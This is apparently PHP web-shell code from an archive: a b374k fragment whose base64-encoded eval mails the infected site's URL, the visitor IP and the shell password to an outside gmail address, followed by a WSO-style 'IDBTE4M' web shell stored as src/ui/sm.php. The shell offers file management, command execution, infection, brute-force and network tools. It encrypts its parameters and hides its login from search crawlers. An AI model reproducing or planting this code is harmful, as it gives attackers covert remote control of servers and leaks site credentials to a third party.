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"
)));
$b374kbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gImIzNzRrLTIuMSBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICRzX3Bhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJoYXJkd2FyZWhlYXZlbi5jb21AZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHNfcGFzcyk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; 
eval(base64_decode($b374kbuff)); ?>src/ui/sm.php000064400000236560151327062330007116 0ustar00<?php
$▛ = ""; //admin
$▘ = true;
$▜ = 'UTF-8';
$▚ = 'FilesMan';
$▙ = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
	prototype(md5($_SERVER['HTTP_HOST'])."key", $▙);
}
if(empty($_POST['charset']))
	$_POST['charset'] = $▜;
if (!isset($_POST['ne'])) {
	if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
	if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
}
function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('VERSION', '4.2.5');
if(get_magic_quotes_gpc()) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
    $_COOKIE = stripslashes_array($_COOKIE);
}
/* (С) 11.2011 oRb */
if(!empty($▛)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $▛))
        prototype(md5($_SERVER['HTTP_HOST']), $▛);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛))
        hardLogin();
}
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$▘;
function hardLogin() {
		if(!empty($_SERVER['HTTP_USER_AGENT'])) {
		  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
		  if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
		  header('HTTP/1.0 404 Not Found');
		  exit;
		  }
		}
	die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\\", "/", $home_cwd);
	$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';
/* (С) 04.2015 Pirat */
function hardHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['▜'];
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - IDBTE4M " . VERSION ."</title>
<style>
	body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
	#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
	body,td,th	{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
	table.info	{color:#C3C3C3;}
	table#toolsTbl {background-color: #060A10;}
	span,h1,a	{color:#fff !important;}
	span		{font-weight:bolder;}
	h1			{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
	div.content	{padding:5px;margin-left:5px;background-color:#060a10;}
	a			{text-decoration:none;}
	a:hover		{text-decoration:underline;}
	.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
	.tooltip:hover::after {opacity:1;visibility:visible;}
	.ml1		{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
	.bigarea	{min-width:100%;max-width:100%;height:400px;}
	input, textarea, select	{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
	label {position:relative}
	label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
	label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
	form		{margin:0px;}
	#toolsTbl	{text-align:center;}
	#fak 		{background:none;}
	#fak td 	{padding:5px 0 0 0;}
	iframe		{border:1px solid #060a10;}
	.toolsInp	{width:300px}
	.main th	{text-align:left;background-color:#060a10;}
	.main tr:hover{background-color:#354252;}
	.main td, th{vertical-align:middle;}
	input[type='submit']{background-color:#2E6E9C;}
	input[type='button']{background-color:#2E6E9C;}
	input[type='submit']:hover{background-color:#56AD15;}
	input[type='button']:hover{background-color:#56AD15;}
	.l1			{background-color:#202832;}
	pre			{font:9pt Courier New;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	
	function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
	function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
	function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $▟)
		$opt_charsets .= '<option value="'.$▟.'" '.($_POST['charset']==$▟?'selected':'').'>'.$▟.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['▛']))
	$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if (is_dir($drive.':\\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	/* (С) 08.2015 dmkcv */
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
		 '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
}
function hardFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
	<tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
		<td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
	</tr><tr>
		<td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
